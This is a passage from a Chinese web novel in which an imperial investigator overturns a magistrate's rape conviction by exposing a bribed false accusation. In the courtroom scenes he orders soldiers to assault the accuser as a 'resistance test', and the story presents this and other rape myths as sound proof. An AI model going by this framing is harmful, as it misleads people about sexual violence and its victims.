四十余名轻骑兵已将府衙团团围住,甲胄鲜明,刀光闪闪,吓得衙役们纷纷缩在角落,连大气都不敢喘。 刘成业堆着笑脸迎上前,刚要行礼,却被陈廉冷冷打断。? “刘成业。”陈廉是个面色黝黑的中年男子,说话时嘴角总带着一丝讥讽,眼神如鹰隼般锐利,“本官乃御史台监察院掌使陈廉,这是本官的文书。” 他从袖中掏出一卷明黄文书,展开后厉声念道。 “陛下有旨:渤海太守刘成业,任职期间贪污税款,收受贿赂,致使天怒人怨,着即停职查办!来人,将其拿下!”? “什么!!大人!误会!天大的误会啊!”刘成业脸色煞白,肥胖的身躯连连后退,撞在身后的屏风上,发出哐当一声响。 “大人!下官在任三年,夙兴夜寐,兢兢业业,何曾贪污过一分银子?各位大人明察啊。”他一边喊着,一边偷偷观察着王春生的表情,希望能找到一丝转机。? 陈廉冷笑一声,挥手示意:“是不是误会,打过一顿自然清楚。先绑了!” 两名虎贲营士兵立刻上前,粗麻绳在刘成业身上缠了几圈,勒得他龇牙咧嘴,肥胖的脸颊因痛苦而扭曲。? “大人!刑不上大夫啊!”刘成业挣扎着,官帽掉在地上,露出光秃秃的头顶,“就算要查,也得让下官辩解吧!你们不能严刑逼供!这不符合朝廷法度!” 他的声音越来越高,带着哭腔,肥胖的肚子因用力而剧烈起伏。? 王春生皱着眉看着眼前的闹剧。 他此行的首要任务是查清大鹏的冤案,但为了避免地方官员沆瀣一气,所以他才来试探试探的,却没想到这老胖子还挺有骨气。 “吵什么?你若没贪污,为何蓬莱县令敢明目张胆制造冤案?我问你,蓬莱不是你的治地?” 他紧紧盯着刘成业的眼睛,试图从他的反应中找到线索。? “蓬莱?”刘成业闻言一愣,肥脸上满是困惑,小眼睛里写满了不解,“大人说的是蓬莱县?那是夏竹的地盘啊!那个臭娘们又干什么好事了?怎么连我也被牵连了?” 他的语气中带着一丝抱怨和委屈,显然对蓬莱县令的所作所为颇为不满。? 王春生心中一动,示意士兵暂停动作。 他观察着刘成业的表情,那瞬间的错愕不似作伪,眼神中的茫然和愤怒显得格外真实。 “你说什么?蓬莱县令是个女的?”他敏锐地捕捉到了关键信息,语气中带着一丝惊讶。? “可不是嘛!”刘成业见绳索松了些,连忙说道,身体前倾,仿佛找到了倾诉对象,“这是陛下的密诏,说是要在蓬莱试行女官制度,派了个叫夏竹的女子当县令。可自从她来了,三天两头出乱子,上次还把盐商的船队扣了,说是私运...大人,这事儿跟我没关系啊!我多次劝她,她就是不听!她是陛下钦点的人,我哪敢说话啊!” 他语速极快,急于撇清关系,肥胖的手指不停比划着。? 王春生示意士兵解开绳索,刘成业揉着被勒红的手腕,惊魂未定地坐下,端起茶杯的手仍在微微颤抖。 陈廉却不满地哼了一声,显然对王春生的做法有些异议,他冷冷地看着刘成业,眼神中充满了怀疑。? “你且说说。”王春生盯着刘成业的眼睛,语气严肃。 “这个夏竹是何来历?到任后都办了哪些事?”他身体前倾,双手放在膝盖上,全神贯注地听着,生怕错过任何一个细节。? 刘成业喝了口随从递来的热茶,定了定神,开始滔滔不绝地讲述:“回大人,说起这个夏竹,来历可不简单。听说是先帝宫里某位娘娘的远亲,读书时就女扮男装中过举人,当年先帝赏识她的才学,后来发现是个女子于是作罢。前些日子陛下才破格提拔。可她毕竟是女子,心思细腻却手段强硬,到任后清查户籍、丈量土地,断了不少本地士绅的财路。” 他一边说一边观察王春生的反应,见王春生听得认真,便继续道:“她还喜欢微服私访,经常带着几个衙役在街上转悠,弄得士绅们人心惶惶的,您也知道,乡绅过不好,百姓就过不好啊。” “她最近办过一桩强奸案,你可听说?”王春生直奔主题,眼神锐利如刀,仿佛要刺穿刘成业的内心。? “强奸案?”刘成业挠了挠头,脸上满是困惑,"这倒没听说。蓬莱县的案子一向是夏竹自己做主,从不向郡里报备。不过她断案向来严苛,上个月还把一个调戏民女的秀才打了四十大板,枷号示众三个月呢。”他努力回忆着,却似乎真的对强奸案一无所知。? 王春生沉思片刻。 刘成业的反应说明他确实不知情,而夏竹的存在显然是个关键。 一个女县令,还是陛下密诏任命,却在蓬莱县制造冤案,这背后是否另有隐情? 他手指轻轻敲击着椅子的扶手,陷入了沉思。? “刘太守,”王春生语气缓和了些,“按世子的意思,你暂不必惊慌。你身为渤海太守,对下辖县令监管不力,确有失察之责,但并非主犯。现在你需将夏竹的详细履历、到任后的所作所为,以及蓬莱县的风土人情,如实告知本官,本官保你无虞。” 他希望从刘成业的讲述中找到更多线索。? 刘成业见王春生态度转变,连忙点头,仿佛抓住了救命稻草:“是是是!下官知无不言。这个夏竹...唉,怎么说呢,她是个有本事的,可就是太较真,不懂得变通。比如上次修河工款,她硬是从士绅手里逼出了三成,惹得那些人天天到郡里告状...”他详细讲述着夏竹的种种事迹,包括她如何整顿吏治,如何与当地士绅抗衡。? 正说着,曹雄匆匆走进来,附在王春生耳边低语了几句。 王春生脸色微变,对刘成业道:“你先下去休息,未经允许不得离开府衙。陈掌使,"他转向陈廉。”烦请你带人先查封郡衙账目,我去处理点急事。"他的语气急促,显然听到了重要的消息。? 走出正厅,王春生对曹雄道:“说吧,什么情况?” 他环顾四周,确保没有旁人偷听。? “春生,”曹雄压低声音,神色严肃,"我们在郡衙偏院发现了几个被关押的百姓,其中一个自称是蓬莱县的,说夏县令把他儿子抓了,罪名是...强奸。”他凑近王春生,声音更轻了。? 王春生瞳孔一缩:“是不是叫大鹏?” 他心中已经有了预感,语气中带着一丝急切。? “正是!”曹雄点头,“那老汉哭得死去活来,说儿子被冤枉了,夏县令收了刘屠户的钱,才定的罪。还说刘屠户是县里的恶霸,跟夏县令关系密切。” 王春生猛地转身,望向蓬莱方向,眼神锐利如刀:“果然有问题!将军,你带十个人看好太守和账目,严密监视,不许任何人进出。陈掌使那边,你替我打个招呼,就说我去核实案情,让他先按程序查封账目。” 他迅速做出决策,语气果断。? “春生,这样是否太冒险了?”曹雄有些担心,“那夏竹既然敢制造冤案,恐怕早已做好了准备,您只身前往,万一...” “不入虎穴,焉得虎子。”王春生翻身上马,动作干脆利落,“告诉兄弟们,随我去蓬莱!我倒要看看,这个女县令究竟有多大的胆子,背后到底藏着什么秘密。” 他拔出佩剑,剑尖指向蓬莱方向,眼神坚定。? 马蹄声再次响起,王春生带着二十名轻骑兵冲出郡衙,朝着蓬莱县的方向疾驰而去。 身后,渤海郡衙内一片肃杀,陈廉正指挥御史们查封库房,而刘成业则躲在暖阁里,望着窗外的天空,不停地搓着手,内心惶恐不安,不知等待自己的将是何种命运。? 蓬莱县衙后堂,雕花梨木书案上摆着一摞卷宗,夏竹正提笔批注,墨色在宣纸上晕开细密的纹路。 她身着绯红官袍,乌发用一支碧玉簪松松绾起,露出光洁的额头和精致的眉骨。 虽已近不惑之年,眼角却不见丝毫皱纹,鼻梁高挺,唇色偏淡,搭配着修身的官服,更显身姿窈窕。 只是那双眼睛过于锐利,扫视卷宗时,总带着一股不容置疑的威严。? “大人,城外盐商李富贵求见。”门外传来衙役的通报声,带着几分小心翼翼。? 夏竹头也未抬,笔尖在偷税漏税四字上重重圈画:“让他在正厅等着。” 她的声音清冷,带着一丝不易察觉的疲惫。自到任蓬莱以来,这样的拜访从未断过,富商乡绅们变着法儿地送礼,试图打通关节。? 片刻后,一个脑满肠肥的中年男子搓着手走进来,正是盐商李富贵。 他身后的小厮捧着个描金漆盒,里面隐隐透出珠光宝气。 “夏大人,”李富贵点头哈腰,谄媚的笑容堆得满脸都是,“小的听闻大人近日操劳,特意寻了些稀罕玩意儿,给大人解解乏。” 夏竹终于放下笔,抬眼看向李富贵。 她的目光如寒潭,直看得李富贵心里发毛,笑容也僵在脸上。 “李老板,”夏竹缓缓开口,指尖轻轻敲击着桌案,“本县屡次告诫,只要你本本分分做生意,不偷税漏税,蓬莱县的大门永远为你敞开。” 李富贵连忙摆手:“是是是,大人教训的是!小的就是想表达一下心意,这点东西不成敬意......” “拿走。”夏竹打断他,语气平静却带着不容置喙的力量,“本县从不收礼。若再如此,休怪本县按律处置。另外,上个月你盐场偷税的账目,本县已移交郡衙,你好自为之。” 李富贵脸色瞬间煞白,捧着漆盒的手微微颤抖,脸上的谄媚笑容彻底消失,只剩下惊慌失措。 “大人,这...这其中怕是有什么误会......”? “误会?”夏竹挑眉,从卷宗下抽出一张纸,“这是你盐场的进出货记录,以及郡衙传来的税收底册,要不要本县念给你听?” 李富贵吓得连忙后退半步,额头上渗出细密的汗珠:“不...不用了大人,小的知错了!小的这就走,这就走!” 他慌忙转身,连滚带爬地离开了后堂,仿佛身后有洪水猛兽。? 夏竹看着他狼狈的背影,轻轻叹了口气,重新拿起笔。窗外的阳光透过窗棂洒在她身上,却驱不散她眉宇间的一丝忧愁。 她揉了揉眉心,刚要继续批阅卷宗,一名衙役急匆匆地跑了进来,脸色慌张:“大人!不好了!” 夏竹皱眉:“慌什么?成何体统!”? 衙役喘着粗气,拱手道:“大人,城外来了一队人马,为首的自称是御史台监察院掌使,还有虎贲营的统领,说是...说是奉了世子之命,前来查案!”? “御史台?虎贲营?”夏竹手中的笔猛地一顿,墨滴落在宣纸上,晕开一个深色的圆点。她抬眼看向衙役,眼神瞬间变得锐利起来,微微眯起的眸子里闪过一丝不易察觉的波澜。 “为首的人,可报上姓名?”? “回大人,”衙役连忙回道,“掌使大人陈廉,虎贲营的统领曹雄!”? “曹雄...”夏竹低声重复了一遍这个名字,指尖轻轻敲击着桌案,陷入了短暂的沉思。 曹雄她不熟,但此次带着御史台的人前来,绝非小事。 她深吸一口气,压下心中的波澜,语气恢复了平日的冷静:“知道了。” 她起身整理了一下官袍,对着铜镜理了理鬓发,镜中的女子眼神坚定,看不出丝毫慌乱。 “去,打开中门,本官亲自去迎接各位大人。”? 第540章 先绑了再说 夏竹深吸一口气,指尖抚过绯红官袍的褶皱,将腰间玉带紧了紧。 铜镜里映出她素净的面容,眉峰微蹙,眼底却透着一股不容动摇的坚毅。 她取下碧玉簪,重新将乌发梳成利落的发髻,只用一根简单的檀木簪固定,褪去了多余的装饰,更显一身官袍的庄重。? “开中门。”夏竹沉声道,声音在空旷的县衙内显得格外清晰。 衙役们面面相觑,却不敢怠慢,连忙抽去门闩,厚重的朱漆大门吱呀一声缓缓打开。? 门外,王春生身着银色盔甲,腰佩长剑,身后跟着一脸肃杀的曹雄和数名御史台官员。 五十轻骑兵分列两侧,甲叶在阳光下泛着冷光,气场强大。 夏竹目光扫过众人,最终落在王春生身上,此人眼神锐利,气度沉稳,显然是为首者。? 她款步走出,在台阶下盈盈一拜,声音清朗:“蓬莱县令夏竹,参见各位大人。不知大人驾到,有失远迎,还望恕罪。” 王春生见她虽为女子,却毫无惧色,言行举止不卑不亢,心中不由得生出几分敬意。 他连忙上前一步,拱手还礼:“夏大人客气了。久闻大人乃巾帼不让须眉,今日得见,果然名不虚传。” “跟这骚娘们废什么话!”曹雄按捺不住,上前一步,手按剑柄,厉声道,“说不定就是她收了贿赂,制造冤案,先绑了再说!” 夏竹脸色微变,眼神冷冽地看向曹雄,却未开口。 王春生急忙伸手拦住曹雄,对他使了个眼色,低声道:“稍安勿躁,先问清楚情况。” 他转头对夏竹笑道:“夏大人莫怪,我这兄弟性子急躁了些。不如我们进堂内详谈?”? 夏竹颔首,侧身引路:“各位大人请。”? 走进中堂,王春生的目光立刻被书案上高高摞起的卷宗吸引。 只见左右两侧的书架上也摆满了卷宗,分门别类,整理得井井有条,甚至有些卷宗边角都已磨破,显然是被反复翻阅过。 他心中一动,这样一位勤于政务的县令,真会是制造冤案的贪官吗?? 该不会是情报有误吧。 众人落座,衙役奉上茶来。 夏竹端坐主位,双手交叠放在案上,目光平静地扫过众人:“不知各位大人此次前来,所为何事?” 王春生放下茶盏,开门见山:“奉王府世子之命,特来调查一桩强奸案。”? 夏竹闻言,嘴角勾起一抹似有若无的冷笑:“强奸案?呵呵呵,本县每月经手的强奸案不下数起,不知大人说的是哪一桩?” “什么?每月数起??”王春生皱起眉头,显然有些惊讶,“蓬莱县为何会有如此多的强奸案?” 夏竹眼神一冷,语气带着一丝讥讽:“男人的心思,本县如何能懂?本县只知道,那些跪在堂下哭诉的女子,她们的眼泪是咸的,她们的冤屈是真的。”? 御史台中丞,一位须发皆白的老者,闻言重重一拍桌子:“简直荒谬!夏县令,你且将这六起强奸案的卷宗拿来,本官倒要看看,你是如何断案的!” 夏竹并未动怒,只是对身旁的衙役道:“去,将最近一个月的强奸案卷宗都取来。” 衙役领命。? 很快,六本厚厚的卷宗被呈了上来。 中丞捻着胡须,拿起第一本翻阅,才看了几行,便猛地抬起头,怒视夏竹:“荒唐!这黄大勋案,竟是丈夫强暴妻子,你竟然判了丈夫三年徒刑?夫妻之间,哪有强奸之说?”? 夏竹神色平静:“中丞大人,无论是否为夫妻,只要违背女子意志,强行行房,便是强奸。” “一派胡言!”中丞气得吹胡子瞪眼,又拿起第二本,“孙文案,在青楼强暴妓女?哈哈,真是滑天下之大稽!妓女本就是靠皮肉生意谋生,何来强奸一说?夏县令,你这判案简直是瞎判、乱判!” 夏竹猛地站起身,目光如利剑般射向中丞:“中丞大人此言差矣!” 她走到书案前,拿起孙文案的卷宗,“此女虽为妓女,但也是活生生的人,既然已经明确拒绝了孙文,他就不能再强行圆房,否则就是强奸!难道因为她曾是妓女,就活该被人欺凌吗?"? “你...你这是强词夺理!那妓女每天光接待客人就得有十几个,怎么可能会出现强奸这样的事情,依本官看,应该是妓女在圆房结束之后想要更多钱财,但是孙文不给,所以才报强奸的!” “不可能!本县找了青楼的老鸨以及她的同伴,她们都可以证明孙文就是在对方不同意的情况下强行施暴的。” “哈哈哈哈,本官在任多年,还是第一次听说在青楼里强暴妓女的!怎么?依你之见,若是女子在中途喊停,男子继续,那也算强奸了?” “当然算!只要是违反女子意志,就都是强奸!不管是事前事中还是事后!” 中丞冷笑一声:“呵,说的义正言辞,本官现在怀疑你断案仅凭感觉!本官要在世子面前参你一本!” 夏竹丝毫不怕他:“呵,有能耐就去参啊。” “你别以为你是陛下钦点,陛下就能保得住你,像你这样胡乱断案,搞的地方乌烟瘴气之辈,绝不会被官员队伍所容!” 说完另一位御史台的官员说道:“夏大人,自古以来,哪有丈夫强奸妻子的说法?夫妻同房,乃是天经地义,是妻子应尽的义务!” “义务?”夏竹冷笑一声,眼中闪过一丝悲凉,“如果这是义务,那天下女子何其悲哀?只要和你们男人结了婚,就可以随便被你们男人伤害吗?大人可知,那黄氏女子被丈夫家暴多年,此次更是被打得遍体鳞伤,才鼓起勇气报官。若连官府都不替她做主,她该如何自处?"? 王春生一直默默观察着夏竹,见她提起案件时眼中闪烁着正义的光芒,言辞恳切,不似作伪。 但很多话听起来非常别扭,感觉就像...就像...他也说不太好。 好像夏竹是故意在为女子发声,提高女子地位,从而有失偏颇了。 他拿起大鹏案的卷宗,仔细翻阅起来。 卷宗里详细记录了刘翠莲的口供、证人证言以及物证。 一件撕破的衣服。 但他注意到,口供中刘翠莲的描述前后有些矛盾,而证人都是刘屠户的邻居,似乎有所偏袒。? “夏大人。”王春生开口,打断了正在争执的三人,“关于大鹏一案,你能否详细说说?”? 夏竹看向王春生,眼神稍缓:“大鹏一案,乃是本县近日审理的一桩强奸案。原告刘翠莲,乃是屠户之女,称被大鹏强行无礼。人证物证俱在,本县依法判处大鹏秋后问斩。”? “依法?”王春生挑眉,把卷宗递给其他官员。 “据我所知,大鹏乃是个老实巴交的货郎,与刘翠莲素有往来,为何突然被指控强奸?”? 夏竹眼神一凝:“王统领是在质疑本县的判案能力?”? “不敢,”王春生摇头,“你是陛下钦点的县令,自然有独到的能力。只是此案疑点重重,还望大人解惑。” 夏竹深吸一口气,重新坐下:“此案看似简单,实则不然。大鹏与刘翠莲虽有往来,但案发当日,有人亲眼看见大鹏进入刘翠莲的房间,半个时辰后才出来,而刘翠莲随后便衣衫不整地跑出来呼救,声称被强奸。” “亲眼所见?是哪些人?”王春生追问。? “乃是刘屠户的邻居,共有三人作证。”夏竹道。? “刘屠户的邻居?”王春生嘴角勾起一抹冷笑,“怕是与刘屠户关系匪浅吧?”? 夏竹沉默片刻,缓缓道:“王统领所言不错,此三人皆是刘屠户的好友。但除了人证,还有物证。刘翠莲被撕破的衣服,上面有大鹏的指纹。”? “指纹?”王春生来了兴趣,“如何证明那指纹就是大鹏的?” “本县曾让大鹏按过手印,与衣服上的指纹对比,确属一人。”夏竹解释道。? 中丞在一旁不耐烦地插话:“王统领,你何必跟她浪费时间?一看就是她收了刘屠户的好处,才冤枉好人!” 夏竹闻言,猛地一拍桌子:“放肆!你有何证据说本县收受贿赂?”? “证据?”中丞冷笑,“你判案如此荒谬,不是收了钱是什么?”? 王春生见两人又要争执,连忙打圆场:“好了,都少说两句。” 他看向夏竹,“夏大人,看卷宗上写,大鹏曾与女方有婚约,但是在强奸案之后便解除了,也就是说,他们圆房的时间...” 不等他说完,夏竹说道:“是强奸!” “行吧,就算你说的强奸,那这个时间是不是订婚之后,解除之前?那在名义上,两人就是夫妻关系,夫妻关系如何判定为强奸?你又怎么知道,女方在强奸之前是不是同意的?事后是不是反悔的呢?” “这...” “还有,既然你说证据确凿,那为何大鹏的父亲却称儿子是被冤枉的?"? 夏竹眼神复杂,叹了口气:“天下父母,谁不护着自己的儿女?大鹏之父自然不肯相信儿子会做出这种事。” “是吗?”王春生站起身,走到夏竹面前,目光锐利,“可我还听说,刘屠户在案发后,曾给你送过一份厚礼,可有此事?” 夏竹脸色微变,随即恢复平静:“确有此事,但本县并未收下,而是将礼物原封不动地退了回去。” “哦?”王春生挑眉,“为何不留作证据?”? “本县相信王法,相信证据,”夏竹直视王春生的眼睛,“只要证据确凿,就算刘屠户送再多的礼,本县也会依法判案。” 王春生盯着夏竹的眼睛看了许久,试图从中找到一丝慌乱,却只看到了坚定和一丝不易察觉的疲惫。 他心中渐渐有了计较,这个夏竹,或许真的不是贪官,而是一个过于坚持自己原则的县令,只是她的判案标准,与传统观念大相径庭,才引发了争议。? “夏大人,”王春生缓缓道,“大鹏一案,事关重大,且疑点颇多,本县需要重新调查。” 夏竹闻言,眼中闪过一丝不悦,但还是点头道:“既然王统领要查,本县自当配合。只是希望王统领能查明真相,给受害者一个交代,也给被告一个公道。” “这个自然。”王春生点头,“曹将军,你带人去将大鹏提来,我们来亲自审问。”? “好。”曹雄领命而去。? 中堂内一时寂静无声,只有窗外传来几声鸟鸣。 王春生看着夏竹,而夏竹则低头看着案上的卷宗,手指轻轻敲击着桌面,不知在想些什么。 阳光透过窗棂,在她身上投下斑驳的光影,映出她脸上复杂的神情。 ...... 午后的阳光炙烤着蓬莱县衙前的青石广场,围观的百姓挤得水泄不通,人头攒动中传来嗡嗡的议论声。 县衙门口的皂隶们手持水火棍,费力地维持着秩序,而堂内气氛更是凝重如冰。 夏竹端坐正位,绯红官袍在日光下泛着冷硬的光,王春生和中丞分坐两侧,前者目光锐利如鹰,后者则捻着胡须,面色沉沉。? “带被告大鹏、原告刘翠莲上堂!”夏竹猛地一拍惊堂木,声音在空旷的大堂内回荡。? 两名衙役押着大鹏和刘翠莲走进来。 大鹏穿着打补丁的粗布短褂,头发凌乱,见到堂上坐着的几位官员,尤其是王春生等人,眼中燃起一丝希望,扑通一声跪倒在地,声音嘶哑:“大人们救命啊!小民冤枉!求大人们为小民做主!” 他额头抵着冰凉的青砖,声音里带着哭腔,“我和翠莲从小一起长大,爬过同一棵树,喝过同一条河的水,我怎么可能强奸她啊!” “放肆!”夏竹的惊堂木再次拍下,震得案上的茶盏嗡嗡作响,“本官未问,岂容你胡乱喊冤?闭嘴,再敢多言,先打二十杀威棒!” 大鹏浑身一颤,惊恐地低下头,手指紧紧攥住衣角,骨节泛白。 他想起三年前为救落水的翠莲,自己差点被河水卷走,腿上至今还留着被石头划破的疤痕。 而刘翠莲则穿着一身半旧的碎花布裙,低着头站在一旁,肩膀微微颤抖,看似柔弱不堪,眼底却掠过一丝慌乱。? 第541章 他都不行,你行? 夏竹放缓了语气,看向刘翠莲,眼神中带着一丝不易察觉的温和。 “翠莲,你且抬起头来。不必害怕,也无需紧张,将当日之事原原本本道来。只要你说的是实话,本官必定为你主持公道,绝不让恶人得逞。”说完她故意看了看曹雄等人,一副大姐为精神小妹出头的样子。 刘翠莲怯生生地抬起头,眼圈泛红,声音带着哭腔:“回...回大人的话,民女与大鹏确有婚约,几个月前刚办了婚宴,只是尚未圆房...”她绞着衣角,声音越来越小。 “那日大鹏卖货路过我家,见家中无人,便...便起了歹心,非要与我圆房。民女不肯,他就...就强行无礼...民女事后吓得魂飞魄散,这才报官求助的...呜呜呜...”说到这里,她突然放声大哭,仿佛受尽了天大的委屈。? “一派胡言!”大鹏猛地抬头,怒火中烧,额头上的青筋突突直跳,“刘翠莲!你睁眼说瞎话!我们俩早在半年前就已圆房,就在村东头的破庙里,当时你还说...” 他突然顿住,脸上闪过一丝尴尬,“总之我们早有夫妻之实,何来强行无礼之说?分明是你父亲嫌我家给的彩礼少,听了绸缎庄少东家的唆使,让你找借口毁婚的!” 他转向王春生,急切地喊道,“大人!您若不信,就去问村里的张婆婆,她亲眼看见我们一起从破庙出来!还有,你去查刘屠户的账册,看看他是不是收了绸缎庄的聘礼!”? “够了!”夏竹厉声打断,她重重一拍惊堂木,脸色铁青,“大鹏!本官再三告诫,没有本官的允许,你休得放肆!再敢插嘴,即刻用刑!”? 大鹏被她的气势震慑,不甘心地闭上嘴,重重地磕了个头,额头撞在青砖上,发出沉闷的声响,鲜血瞬间从额头渗出。 他想起自己为了凑彩礼,每日天不亮就出门卖货,省吃俭用,节衣缩食,甚至把全家都积蓄都掏光了,却没想到换来这样的结果。? 王春生将这一切看在眼里,心中已然明了七八分。 他身体微微前倾,目光如炬,直视着刘翠莲:“刘翠莲,你说大鹏强奸于你,可知道强奸罪分为两种?一种是奸进去了,一种是没奸进去。你且清楚回话,当日大鹏是否与你发生了关系?” 他刻意放慢语速,观察着对方的每一个细微反应。? 刘翠莲眼神闪烁,咬了咬嘴唇,低声道:“回大人...他...他进去了...” 话音刚落,她就忍不住浑身发抖,不敢与王春生对视。? “好。”王春生点点头,语气平静却带着一股压迫感,“你既知自己是原告,也该清楚若诬告他人被证实,按律是要反坐的,与所诬告之罪同罚,你可明白?”? “民女...民女明白...”刘翠莲的声音更小了,身体抖得像筛糠,膝盖一软,差点跪倒在地。?她脑海里想到父母说的话。 只要你咬死大鹏强奸,他根本没办法证明自己。 因为县衙只相信你破损的衣服,不相信其他的。 “很好。”王春生继续追问,“你说大鹏强行与你发生关系,那你当时可曾反抗?”? “我...我当然反抗了!”刘翠莲提高了声音,试图让自己显得理直气壮,“我又抓又咬,他才...才没能得逞太久...” 她下意识地抬手捂住自己的胳膊,仿佛那里真的有伤痕。? “哦?你确定自己奋力反抗了?”王春生嘴角勾起一抹冷笑,突然提高了声音。 “确定!民女当时激烈反抗!” “那好,来人!”? 一名身材魁梧、孔武有力的虎贲营士兵应声上前,抱拳待命。 王春生看着士兵,又看了看刘翠莲,沉声道:“你去,把她再给本官强奸一遍。” “啊?” 士兵一愣,面露难色地看向王春生,又看了看夏竹和中丞。 夏竹脸色瞬间变得煞白,拍案而起,声音因愤怒而颤抖:“王大人!你这是何意?难不成要在公堂之上,让士兵对原告行不轨之事?成何体统!”? 中丞也猛地站起身,指着王春生道:“王大人!本官知道你有世子的令牌,但审案归审案,岂能如此胡闹?此举有违纲常伦理,万万不可!” 王春生却不为所动,目光如铁地盯着刘翠莲,沉声道:“夏大人、中丞大人稍安勿躁,本官自有分寸。” 他转向那名士兵,肃然道:“去!出任何事情,我来承担!” “是!”士兵沉声应道。 虽有疑虑,但还是领命走向刘翠莲。? 堂内众人见状,顿时哗然。 围观的百姓们伸长了脖子,瞪大了眼睛看着公堂上即将发生的一幕,人群中爆发出阵阵惊呼:? “我的老天爷!这是要做什么?”? “难道当兵的要对那小娘子动手?”? “那位京城来的大人到底要干啥呀...怕是有啥讲究吧?”? 刘翠莲看着一步步逼近的士兵,脸上血色尽褪,身体不由自主地向后缩去,声音颤抖着:“大...大人...你要做什么?不要过来!”? “小姐,对不住了。” 那士兵身高近七尺,肩宽背阔,一身盔甲更显得孔武有力。 他按照王春生的吩咐,伸出大手,作势要去抓刘翠莲的手腕,动作带着训练有素的压迫感。? “啊——!”刘翠莲发出一声尖叫,猛地向后一躲,身体撞在身后的衙役身上。 她双手乱挥,试图推开士兵,嘴里喊道:“不要碰我!放开我!” 她的指尖擦过士兵的盔甲,发出刺耳的刮擦声。? 士兵见状,另一只手作势去扯她的衣袖,意图模拟强行拉扯的场景。 刘翠莲尖叫着侧身躲避,碎花布裙的袖口被士兵的手指勾住,“刺啦”一声,袖口被撕开一道口子。 她趁机猛地向后挣脱,脚下一个踉跄,险些摔倒在地,发髻也在挣扎中散了开来,几缕头发凌乱地贴在汗湿的脸颊上。? 士兵见状一下扑了上去,奋力撕扯她的亵裤。 “停下!”夏竹脸色惨白地喊道。 士兵并未停手,而是继续作案。 刘翠莲大哭中爆发出惊人的力量,猛地抬起膝盖撞向士兵的小腹。 虽然被士兵提前侧身避开,但她的动作却异常狠厉,完全不像之前在夏竹面前那般柔弱。 士兵猝不及防下被撞个正着,闷哼一声。 她趁士兵侧身的瞬间,双手握拳砸向士兵的胳膊,又抓又挠,甚至张口作势要咬,口中还不停地哭喊咒骂:“畜生!放开我!救命啊!”? 大堂内一片混乱,中丞气得浑身发抖,却被王春生示意的士兵拦住。 夏竹脸色青一阵白一阵,眼睁睁看着刘翠莲在强奸中展现出的强悍反抗力,与之前的柔弱形象判若两人。? “废物点心!”王春生站起来,指着身后的一个士兵,“你也去帮忙!” 士兵早就期待了,闻言大喜,也立刻冲上去。 可翠莲就是左蹬右踢,奋力反抗,两个当兵的壮汉竟一时间拿她没办法! 围观的百姓们看得目瞪口呆,随即爆发出更激烈的议论:? “哎哎!你们看她那狠劲儿!刚才哭哭啼啼的,现在跟母老虎似的!” “对啊!这要是真被强奸,咋可能不留下点伤?”? “我就说嘛,大鹏那小子看着就老实,咋会干出那种事!”? “啧啧,为了点彩礼,连清白都不要了,这一家子真是...”? 王春生看得真切,冷声道:“停!”? 两名士兵立刻收住动作,退到一旁,盔甲上还留着几道刘翠莲抓挠的痕迹。? 王春生站起身,走到刘翠莲面前,指着她刚才的狼狈模样,声音如洪钟般在大堂内响起:“刘翠莲!你方才的表现,就是你所谓的奋力反抗?面对两名虎贲营士兵的侵犯,你尚能保全自身,那大鹏一人如何强奸你?” 刘翠莲喘着粗气,脸色苍白,散乱的头发下,眼神中充满了恐惧与慌乱,说不出话来。? 王春生转向众人,朗声道:“各位都看到了!方才这两位都是虎贲营的壮士,上过战场杀过人!这样的壮汉都不能奸进去,大鹏一个人如何办到?可见她说谎!” 他又看向大鹏,“大鹏,你且站过来,让大家看看你的身形。”? 大鹏依言站起身,他身材中等,身形略显单薄,手臂上甚至能看到清晰的肋骨轮廓,与刚才那名虎贲营士兵相比,简直判若两人。? 王春生指着大鹏,对刘翠莲道:“刘翠莲,你看看大鹏的身形,再想想刚才那名士兵的体格。一个强壮如虎贲营士兵的人,模拟侵犯都能被你拼死反抗,而大鹏身形瘦弱,若他真如你所言强行无礼,你为何没有像刚才那样激烈反抗?为何他的身上没有任何伤痕?” 这番话如同一道惊雷,炸响在大堂内外。 围观的百姓们恍然大悟,纷纷交头接耳,看向刘翠莲的目光充满了鄙夷,斥责声此起彼伏:? “好哇!原来是诬告!” “为了钱连良心都不要了,真是丢人!”? “夏县令也太糊涂了,咋能信这种女人的话呢?”? “就是!差点害了人家小伙子的命!”? 夏竹站在一旁,脸色一阵红一阵白,听着百姓们的指责,再回想自己之前的判断,只觉得无地自容,手指紧紧攥住官袍的下摆,指节泛白。? 刘翠莲瘫软在地,面如死灰,知道自己的谎言已经被彻底戳穿。? 王春生又拿出账册和书信,掷在刘翠莲面前:“铁证如山!你还有何话可说?” 第542章 带回京城受审 王春生手中的账册"啪"地砸在青砖上,震得刘翠莲浑身一抖。 刘翠莲看着地上的账册和书信,上面父亲的笔迹和自己写给绸缎庄少东家的字句清晰可见,知道一切都已无法挽回,终于崩溃大哭。 她盯着父亲色的布鞋底,指甲几乎嵌进掌心,却感觉不到疼。 阳光从雕花窗棂斜切进来,在账册的绸缎庄聘银一百两几字上投下血红色光斑,像极了父亲昨夜抽打她时,皮鞭在她胳膊上留下的血印。? “不......呜呜呜...不是这样的...呜呜呜...”她的喉咙像塞着浸水的棉絮,只能发出含混的呜咽。 三天三夜未合眼的疲惫涌上来,眼前的王春生、夏大人、还有父亲肥硕的身影,都在雾气里飘着。 直到父亲的咒骂声炸开,才惊觉指甲已在掌心剜出了血。? “你个不孝女!”刘屠户的咆哮声震得屋梁上的积灰簌簌掉落。 这个平日总摸着圆肚皮笑的屠夫,此刻像头被激怒的野猪,肥肉随着动作颤巍巍地抖动,袖口的油渍在阳光下格外刺眼。 他挣脱衙役的手,三步并作两步冲到刘翠莲面前,蒲扇大的手掌扬起来,带起的风刮得她脸颊生疼。? “啪!”耳光声在寂静的公堂格外刺耳。 刘翠莲的头猛地偏向一侧,嘴角立刻渗出鲜血,滴在胸前的肚兜上。 那是大鹏去年中秋送的,绣着歪歪扭扭的并蒂莲,此刻被血点染得触目惊心。 她突然想起半月前的深夜,父亲就是用这样的力道,将她按在灶台边:“绸缎庄少东家说了,只要你咬死大鹏强奸,二十亩良田、五十两聘银,够你弟弟读十年县学!”? “你这个不孝女!你把全家都毁了你知不知道!”刘屠户的唾沫星子喷在她脸上,混着浓烈的酒气和蒜味,“你弟弟的私塾钱、你娘的药钱,全让你给败光了!” 他抬起脚,重重踹在女儿腰间,布鞋底的泥垢蹭在她褪色的裙角,“现在好了,咱们全家都得陪你去死!”? 围观的百姓中爆发此起彼伏的惊呼。 “好哇!原来真是父女合谋!” 